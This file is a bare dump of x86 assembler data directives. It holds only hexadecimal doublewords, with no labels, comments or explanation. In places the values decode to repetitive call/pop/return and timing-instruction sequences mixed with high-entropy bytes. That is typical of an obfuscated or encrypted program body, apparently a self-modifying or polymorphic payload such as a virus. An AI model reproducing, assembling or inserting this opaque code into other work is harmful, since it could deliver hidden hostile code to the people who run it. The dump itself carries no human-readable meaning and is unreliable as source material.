		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8B9F54E3h, 4D03C9BDh, 10E906h, 93010000h, 8CA09C12h
		dd 468E9DF0h, 6E5E50E5h, 858D8B76h, 650B795h, 1F119D8Bh
		dd 0D381064Dh, 4A616864h, 290FBB90h, 50502C8Fh,	0EE85152h
		dd 68000000h, 88F8769Dh, 0C01150FEh, 87548BE7h,	0F5F5BB2h
		dd 6850F31h, 50000000h,	5A310F52h, 90585A58h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 60C35646h, 0B1BCA5F2h
		dd 658BE65Ah, 0FFDD8AD2h, 4D0EB195h, 8D295606h,	64D0FFDh
		dd 6A615Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0EDF517C3h, 7FACE900h, 81F8CD4Fh,	7F5C54D3h
		dd 0E985C733h, 3064D02h, 8B000000h, 95BD83D9h, 650B7h
		dd 4A840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 160424h, 57470000h, 11EC62C3h, 40E9FA8Bh, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 458DC353h, 0BD0B6E57h, 64D1B31h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h, 0E885D381h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C5C35040h
		dd 74168A4Bh, 0BB6055D7h, 48469674h, 2E9BD83h, 0F03064Dh
		dd 44685h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 2B2286CCh, 0B8FF28ECh, 1FC99D8Bh
		dd 0BD83064Dh, 650B795h, 10840F00h, 6A000004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 3421C355h, 0FF25DA21h, 50B795B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 14E8F87Ah
		dd 0AB000000h, 57EE2329h, 48A5C651h, 3E7FD5EDh,	0B1E5A157h
		dd 66090B81h, 5F8B41BBh, 2D9995FFh, 6A064Dh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 8A76DFC3h
		dd 0C2DB3453h, 880F6630h, 6, 14259D8Bh,	0B58B064Dh, 650B789h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0C3C35343h
		dd 14E982B9h, 2A000000h, 0F7279297h, 4DFC68E2h,	0F3BB9F64h
		dd 0C14BCA51h, 6078FC85h, 325D9D8Bh, 0C761064Dh, 1000106h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 9D8BBDD5h, 64D26E9h, 6800Fh, 0BD8B0000h
		dd 64D23A9h, 5010B396h,	94305ABFh, 0BD89962Ah, 64D2D45h
		dd 0B795B5FFh, 9D090650h, 64D1F61h, 308D95FFh, 8589064Dh
		dd 64D0B95h, 85895253h,	64D13C9h, 0B58B5F5Fh, 650B789h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0A6C35343h
		dd 75608CB0h, 2385858Bh, 8E8064Dh, 7A000000h, 7D0B75A4h
		dd 890699BBh, 4D3315B5h, 86895F06h, 0C4h, 0AAC78166h, 99958B18h
		dd 66064D05h, 7F24EF81h, 6A04C283h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0CC72C352h
		dd 0E995294Dh, 89064D15h, 81662050h, 8D7CC5D3h,	50CBF085h
		dd 0D7806006h, 61D8B746h, 0B88689h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0A45253C3h
		dd 9D89ADCDh, 64D0C75h,	2145BD8Bh, 6A064Dh, 2335BD89h
		dd 9D8B064Dh, 64D060Dh,	0B795B5FFh, 6A0650h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 648C74C3h
		dd 58BB663Ch, 3195FF72h, 0BF064D24h, 148E78A0h,	0F525096h
		dd 50585A31h, 97EC2CBBh, 6A9603h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8BF408C3h, 95B5FFDFh
		dd 0B0650B7h, 4D0B9DBDh, 0C195FF06h, 0E9064D2Ch, 0Ch, 207CA66Ah
		dd 0AEC3479Ah, 745B2D98h, 32A5BD83h, 0F00064Dh,	5584h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 8E97F3Ah, 0EA000000h, 0F2861CF9h, 0E8E0235Bh
		dd 0Ch,	0DEFF5EC3h, 6D770F51h, 7D7AE2C9h, 1DA7BB66h, 9195895Bh
		dd 50064D1Ah, 0A2FAFBBh, 24348956h, 0E8A1C381h,	0B5FF73CBh
		dd 650B795h, 30119D8Bh,	95FF064Dh, 64D17C5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 40C35040h, 2AB9B589h
		dd 0BD89064Dh, 64D1515h, 0B795B5FFh, 6A0650h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 946DAC3h
		dd 20AB48C3h, 8B664FB3h, 0B995FFD8h, 6A064D29h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0B81C353h, 0B33BDE09h, 2C8D9D01h, 9501064Dh,	64D2EADh
		dd 1505BD83h, 0F02064Dh, 5384h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0A9858BB0h
		dd 6A064D15h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0C7FDC353h, 7C8C66Ah, 446DA8B8h
		dd 30CABB66h, 0BB0000C6h, 535F103Eh, 211185C7h,	64Dh, 0BEBB0000h
		dd 0F286B6Ch, 681h, 0F1858900h,	0E9064D1Dh, 0FFFFF2B5h
		dd 0BD2B6060h, 64D0E29h, 3DD8D8Bh, 0F561064Dh, 6AC18B61h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 3C9EC353h, 0F9FC9411h, 93C59F6Eh,	735858Dh
		dd 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 8166B2C3h, 8B229BDBh, 4D1515BDh, 60509006h
		dd 13E9h, 0C7800200h, 0C57F02F7h, 60CB0C33h, 3BE6CABAh
		dd 0EC88467Bh, 61C88A60h, 6A9061h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0EC4410C3h, 0E5BD6273h
		dd 85091885h, 64D178Dh,	6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 226E32C3h, 339B9BC3h
		dd 8A9E4E8Ah, 6E8DEh, 3F8D0000h, 0D2F68981h, 5FD9BF0Fh
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0ED14DC3h, 8D31609Ch, 64D1121h, 2AE18D0Bh
		dd 8D61064Dh, 51E6F485h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0FF8D978h, 684h, 0BB666000h
		dd 8361BD01h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 9FB605C3h, 1A8DB531h, 8589064Dh
		dd 64D30C5h, 50525050h,	21BF6652h, 50310F61h, 5A310F52h
		dd 0F585A58h, 0B8BF6631h, 89585A86h, 6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 6BADF6C3h
		dd 800FF96Eh, 0Ch, 6890Fh, 820F0000h, 0
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 164671C3h, 8BE9AA58h, 4D26119Dh, 6A006A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 932AC350h, 548F814Dh, 0FF5FF553h,	4D114995h
		dd 0CE906h, 56790000h, 2D996040h, 2DE59592h, 8D8D4F26h
		dd 6509A13h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0BBC35040h, 0FA8BFFEEh,	162D9D8Bh, 0D1FF064Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 57C35141h
		dd 967E3408h, 0E8A3E816h, 0Bh, 2B0D5CC6h, 0E6218861h, 898D3B80h
		dd 4D03C1BDh, 0BD835F06h, 64D1281h, 77850F01h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 289FC351h, 0DFFEB138h, 3FE8728Ah,	578BBB66h
		dd 0F50026Ah, 128Bh, 0DE900h, 0D8A00000h, 4C705737h, 51AD5439h
		dd 8909F23Ch, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 1F0A13C3h, 519D89F0h, 0BB064D05h
		dd 229F30F4h, 243195FFh, 1FE9064Dh, 0E800000Dh,	0
		dd 0FEED815Dh, 310651E6h, 4D2AF18Dh, 31B52906h,	8D064D03h
		dd 508A5785h, 9E906h, 0BA730000h, 73B021Bh, 9083F5B5h
		dd 5050FB8Bh, 0FEE775BFh, 56905B57h, 5B6BD380h,	35FF64h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0FDDC357h, 681h, 0A99D3300h, 64064D14h
		dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 66ED35C3h, 85FFDF8Bh, 64D1815h
		dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 184759C3h, 0D698B16Ah, 0D19D8B20h, 0F064D23h
		dd 581h, 70D0BB00h, 0B5FF0683h,	64D2D19h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 0C2C35242h, 791D5429h
		dd 0C78105BCh, 4EC4A8E9h, 1F05BD89h, 95FF064Dh,	64D0411h
		dd 13CE9h, 0F516000h, 605AC0B7h, 32E1B531h, 9D89064Dh
		dd 64D1559h, 0B06161h, 0F70E6FCh, 0A82h, 48D0F00h, 66000000h
		dd 81D03CBFh, 0CC4AE8F7h, 6071E432h, 33F78B66h,	4D22558Dh
		dd 613C6106h, 0F7830Fh,	0B60F0000h, 11E8C8h, 5740000h
		dd 3E94CBC0h, 0E968151Eh, 55D29C04h, 50A68EBDh,	70E9C381h
		dd 5B5B3CD7h, 6BAh, 7E900h, 64150000h, 4A7B3FE7h, 0C1C18B8Fh
		dd 858904E8h, 64D0A99h,	27719D0Bh, 0F766064Dh, 0E98D89E2h
		dd 2B064D15h, 859D8BC8h, 8B064D2Fh, 8E8D1h, 0D9D60000h
		dd 7F0B6ECh, 8B660050h,	9D2B5BDFh, 64D1AC5h, 84E9h, 6870F00h
		dd 8B000000h, 4D21B59Dh, 91858906h, 8B064D0Dh, 4C4C4485h
		dd 8B66605Fh, 0C08361F2h, 0C59D8B07h, 83064D21h, 0DE800C0h
		dd 0E8000000h, 417438F5h, 9F82DCFh, 2FB9C6DDh, 5BDF8B66h
		dd 3BDA8B66h, 0E830FD0h, 66000000h, 0E938B2BFh,	31h, 92F38166h
		dd 0FF8D8B1Eh, 83FFFFFFh, 840F01E1h, 1Dh, 0D38FF781h, 0A5831595h
		dd 0FFFFFFFFh, 449589FEh, 665F4C4Ch, 0F9DFF381h, 0E9h
		dd 0C0B58D00h, 6A065162h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 4F2DC357h, 0BCC2AF0Bh
		dd 89006A84h, 4D242D85h, 1195FF06h, 6A064D05h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 3C3BC352h, 0A624BB66h, 10C6B9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0D72E09BBh
		dd 0B6BB5F5Fh, 31004F16h, 4D1DF185h, 0FCE18306h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1AC35343h, 0EF11191Eh
		dd 5820Fh, 81660000h, 0FCED9FF3h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 87C35747h, 1F36B40h, 4BB38BABh
		dd 2CF9E3BFh, 0B80Ch, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0D2343CC3h, 0A36D01DDh
		dd 0A59D8BC0h, 0BA064D0Ah, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D4C35141h
		dd 974BF0CAh, 0C3368ECDh, 6E8h,	4FBAB00h, 0E9562556h, 14h
		dd 0B922FCC7h, 0C2077203h, 27A0FDA4h, 1C45B055h, 79599F12h
		dd 0C233AD5Bh, 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0EB81668Ch, 8E94088h, 1C000000h, 0EBD82410h,	23AF8279h
		dd 4D187DBDh, 880D06h, 958B0000h, 64D0599h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B6C35646h, 9AC295F1h
		dd 0F4AFBE1h, 3EB8056h,	8D8BFA8Bh, 64D051Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 2CC35242h, 0E753CBDDh
		dd 8B50A964h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 57C35646h
		dd 0AB9B7353h, 0B70FEF35h, 5810FFBh, 60000000h,	61FC04B6h
		dd 1C45BD83h, 0F00064Dh, 3A84h,	1DBD8900h, 0B8064D2Ah
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 60C35343h
		dd 0DA15E043h, 4DE58D8Dh, 9D89064Dh, 64D1A9Dh, 83FCE1FFh
		dd 4D02E9BDh, 840F0006h, 3F0h, 2E9BD83h, 0F01064Dh, 3FE84h
		dd 0E3EF8100h, 8323FBEEh, 4D02E9BDh, 860F0306h,	3B5h, 0BE9h
		dd 4A65B300h, 7AE5D049h, 0AB380206h, 0EB816660h, 8C661B70h
		dd 4E180D9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0BEC35141h, 705974B0h, 1719BBFEh, 6660733Dh, 6140F1B8h
		dd 840FC90Ah, 0E7h, 8E0FD98Bh, 1, 79858BF5h, 50064D18h
		dd 6830Fh, 8A0F0000h, 0
		dd 3985335Fh, 0E9064D06h, 6, 6E292C94h,	669070CFh, 509F01BFh
		dd 6E8h, 0BF79600h, 508EE6F7h, 0BE8h, 28E8A500h, 0D3D5E9EBh
		dd 16D9901Eh, 905B5B5Bh, 25BD9D8Bh, 6A064Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 61C35242h, 800F28h
		dd 68000000h, 6A7C4641h, 0F5C1E3BFh, 2434813Ah,	6A6345BEh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FAC35545h
		dd 95FFF565h, 64D0EB1h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0CDC35242h, 0E290214Ah, 9585893Bh, 0FC0650B7h
		dd 1CFE9h, 2D8D8900h, 8B064D0Eh, 50B78D85h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0CEE51CC6h, 1800C776h, 0F000000h, 68Ah, 1D858900h, 8B064D10h
		dd 50B791B5h, 3DB58906h, 0F8064D1Fh, 32E5858Bh,	0BD0B064Dh
		dd 64D2DA5h, 9D8B0689h,	64D21EDh, 1879858Bh, 6A064Dh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 13E98BC3h, 0A0000000h, 990F338Eh, 0E14BAAE2h, 0C78DA9FAh
		dd 44985FFAh, 870FDA34h, 6, 0C199D33h, 4689064Dh, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 61B2BC50h, 96FFB70Fh, 6A9650h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 9215E8C3h, 6870Fh, 95890000h
		dd 64D2281h, 0B78DB5FFh, 6A0650h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 569254C3h, 0FB13A6ABh
		dd 0EB81D8ECh, 1F6542CEh, 6794C168h, 0DA8B66A4h, 3E240481h
		dd 6A5BB76Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 8D97C357h, 17367A75h, 0B795858Dh
		dd 6A0650h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 336A42C3h, 606090ABh, 9E8h, 13990E00h, 61F6A694h
		dd 0B15EF4EDh, 52506181h, 310F6160h, 810Fh, 585A0000h
		dd 0DE8B5061h, 53006A90h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0ED26EB7Fh, 8ABAC3F3h
		dd 0B195FFFAh, 0F5064D0Eh, 55006A61h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 1BFBC055h
		dd 6275E56Dh, 0C1B7D88Bh, 2E985C7h, 3064Dh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 68A92FC3h, 89B55F0Dh, 4D17DD95h, 95BD8306h, 650B7h
		dd 4F840Fh, 0FBB30000h,	0D759D03h, 5DE9064Dh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0B16DC352h, 4976EC99h, 0D634A074h, 11C1BD0Bh
		dd 0F60064Dh, 683h, 398D8B00h, 0F064D12h, 287h,	61616000h
		dd 0C3050F5h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 459D8BF5h, 83064D04h, 4D02E9BDh,	850F0306h
		dd 3F2h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 17h,	0D0C35141h, 83E6E27Dh, 50B795BDh, 840F0006h, 3C6h
		dd 0BE9h, 6558A700h, 4D5ACE41h,	23720762h, 0B795B5FFh
		dd 6A0650h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 56C01AC3h, 0AE865C9h, 0A2000000h,	0B269E087h
		dd 0A2180F2Ch, 11E88Ch,	0E6FA0000h, 7096802Bh, 6FF1D0F5h
		dd 8F663470h, 5BE98D63h, 9995FF5Fh, 6A064D2Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 7546C357h, 38396885h, 0D59D8BA8h, 8B064D10h,	50B789B5h
		dd 0DEB70F06h, 106C7h, 81660001h, 96679BEBh, 5E950h, 0B9740000h
		dd 96A15D9Dh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	0C0C35343h, 0F8307459h,	0FF855732h, 50B795B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 6BC24C23h, 18818D01h, 95FF064Dh,	64D308Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0EBC35040h
		dd 6FD9D23h, 0B58B064Dh, 650B789h, 6E59589h, 8B66064Dh
		dd 85858BD8h, 6A064D23h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8967C350h, 0C486h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0AD292D26h, 0BF33BB66h, 599958Bh, 0F60064Dh
		dd 61F8C2BFh, 0C283FA8Bh, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 7DE923F2h
		dd 897047C1h, 0B70F2050h, 8DD88ADAh, 50CBF085h,	21BD8906h
		dd 89064D12h, 0B886h, 2848BF00h, 6A6A38h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 85C35343h, 0FFCD8E12h
		dd 50B795B5h, 0FB8B5206h, 3195FF5Bh, 6A064D24h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 497EC352h, 0BE9990Ch, 9A000000h, 7AE0224Dh, 0D3B2E6F3h
		dd 5796280Dh, 7E860h, 0B2F40000h, 3758B9C9h, 616058D7h
		dd 0F505F61h, 284h, 96DA8B00h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 52C35242h, 10E812h,	0CAE60000h
		dd 0DF06C15Ah, 21DA2582h, 2C2FEC80h, 57B3677Ah,	95B5FF5Fh
		dd 0F0650B7h, 95FFDEB7h, 64D2CC1h, 0FCABDF81h, 0F4BF33C7h
		dd 8375CC30h, 4D32A5BDh, 840F0006h, 4Ch, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 16h, 9CC35343h, 9D8B1AEEh
		dd 64D052Dh, 0D0B70F60h, 124D8589h, 9661064Dh, 5DFFBF66h
		dd 7E850h, 6EE90000h, 81DFDB8Fh, 0D98B6629h, 8D89965Fh
		dd 64D0F49h, 0B795B5FFh, 6E90650h, 26000000h, 0C407540Bh
		dd 0C595FF77h, 81064D17h, 3F93DBDFh, 95B5FF40h,	6A0650B7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0C299C356h, 0DD5F65F6h, 0BD2986CCh, 64D1C39h
		dd 0B397BB66h, 29B995FFh, 8166064Dh, 838406E3h,	4D1505BDh
		dd 840F0206h, 3Fh, 0A9858BF9h, 6A064D15h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 248C353h
		dd 0C685B8DAh, 9E80000h, 82000000h, 0D95E153Ch,	0CA476B64h
		dd 9822BF66h, 0C7FE8B5Fh, 4D211185h, 6,	158F0F00h, 0E9000000h
		dd 10h,	598EE6F7h, 26AAB3Ah, 0CBFA9BB4h, 305E1AE6h, 15499D29h
		dd 8DE9064Dh, 0E9FFFFF3h, 0Ch, 7A8A5701h, 0CE8E9555h, 35C1DB09h
		dd 858DC18Bh, 64D0735h,	2F958D89h, 9E8064Dh, 0C7000000h
		dd 9E139BBBh, 0AEC94166h, 0CE8h, 943FFA00h, 15FF7B32h
		dd 717C0D5Fh, 0A6CF81B1h, 5B7B2CFAh, 0F60905Fh,	584h, 8792B900h
		dd 8B602CDBh, 506161DFh
		dd 90DE8B66h, 2241BD8Bh, 6A064Dh, 89006AF9h, 4D2415BDh
		dd 0C2858D06h, 6A0651F5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 1BB0C357h, 0FB8B2680h
		dd 8B05C083h, 4D219D9Dh, 8B509006h, 0BD2990F8h,	64D0BC9h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0E1FB36C3h, 0AE28350Ah, 158D8B60h, 0E8064D21h
		dd 7, 0D9098C67h, 89659CEDh, 4D257995h,	6A615906h, 0F59D0B00h
		dd 0F064D0Bh, 0B8Ah, 6E900h, 4F630000h,	3999C461h, 114995FFh
		dd 0BD8B064Dh, 64D0445h, 9A138D8Dh, 6A0650h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 8F26EDC3h
		dd 4E027423h, 8B8B27E6h, 4D0E19BDh, 0F515606h, 5B5BDFB7h
		dd 83F5D1FFh, 4D1281BDh, 850F0106h, 68h, 0BD2BFA8Bh, 64D23B1h
		dd 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 4982DBC3h, 4273CC18h, 28C0F50h, 0B3000000h
		dd 2404891Ch, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	74C35040h, 635E5F90h, 80C02D2h,	0DBB70F53h, 243195FFh
		dd 0F88B064Dh, 0EE1E9h,	0E800h,	815D0000h, 51F5CCEDh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 891B6449h, 4D2D3985h, 0E8E0F06h, 0E9000000h,	9, 7E62E16h
		dd 783869B6h, 52006AB8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0B531F8E8h, 64D2415h, 8A57858Dh
		dd 0BF0F0650h, 566050FAh, 0B05A5B56h, 489614Ch,	55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 499D0DE6h, 35FF6461h, 0
		dd 29BD9D8Bh, 8964064Dh, 25h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 6BBFF95Fh
		dd 0CEE1D7D0h, 81667A3Ah, 0FF14D7CBh, 4D181585h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0F9D97DB1h, 6800Fh, 9D890000h, 64D1AE1h, 0FE8FF6Ah
		dd 0C6000000h, 4256DBA8h, 3E68A4CFh, 6DFD6B8Ah,	8166B587h
		dd 5FE637CBh, 1611B5FFh, 0BD8B064Dh, 64D220Dh, 41195FFh
		dd 46E9064Dh, 81000001h, 0CDA129CBh, 2900B030h,	4D0C61BDh
		dd 0E970E606h, 10h, 3C4DE441h, 0F5A263AEh, 0C522108Ah
		dd 0E850BF78h, 0BD3171E4h, 64D052Dh, 830F613Ch,	111h, 1F2D9D8Bh
		dd 0B60F064Dh, 9D8B53C8h, 64D2EA5h, 1585295Fh, 0BA064D16h
		dd 6, 0BA04BB66h, 0B3C18Bh, 5004E8C1h, 0E2F7665Bh, 0C719D2Bh
		dd 6051064Dh, 0FE9h, 0CB96FD00h, 0B01EF392h, 9163B314h
		dd 0F03C4A3h, 61D9B70Fh, 66C82B5Fh, 8B09E9BBh, 0F9B70FD1h
		dd 0B4E9h, 71858900h, 8B064D22h, 554C5085h, 14E947h, 0F77D0000h
		dd 8CE43A18h, 70318574h, 2ACB0E86h, 0D015B6CBh,	8B0F9BD1h
		dd 4, 9CE8BB66h, 0F07C083h, 0C083DEB7h,	89576000h, 4D2F398Dh
		dd 0F4805806h, 0D03B6120h, 2A830Fh, 13E80000h, 45000000h
		dd 0C5B652Ah, 77914F93h, 0B759D54Fh, 0BB80666Fh, 0D38156B2h
		dd 3591B736h, 43E95Fh, 66520000h, 5FB4B2BBh, 0FFFF8D8Bh
		dd 0BB66FFFFh, 0E1837A68h, 2A840F01h, 0F000000h, 0C80h
		dd 68D0F00h, 9000000h, 4D2D7D8Dh, 0FFA58306h, 0FEFFFFFFh
		dd 4C509589h, 0B5314755h, 64D05E5h, 0E9h, 86B58D00h, 6A065173h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 9BD0C355h, 15959D8Bh, 6A064Dh, 0A6CF8166h
		dd 1195FFCDh, 0F064D05h, 840FFABFh, 6, 2A09BD89h, 6BB9064Dh
		dd 6A000010h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 8BB2C350h, 0A4349E31h,	9E93Fh
		dd 37570000h, 0E2C54C5Ch, 0FC5085Eh, 685h, 0B1BD2300h
		dd 83064D22h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 95E868C3h, 6E8A3h, 5B58960h, 51064D1Bh
		dd 0A477EA81h, 61586E58h, 57006AFCh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 6830FE3h, 89000000h
		dd 4D0EC5BDh, 0B806h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0F52A35C3h, 0DCCC5382h
		dd 0E820Fh, 0E9530000h,	7, 781D0D66h, 5B266AA7h, 0BAFEB70Fh
		dd 0
		dd 731BD8Bh, 33AD064Dh,	3E8D1C2h, 4E983D0h, 6AF475h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0B02FC0C3h, 6A60179Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 9976C356h, 0E16F68EBh
		dd 0B32E8C36h, 880DC3h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 947681C3h, 21DD9D89h
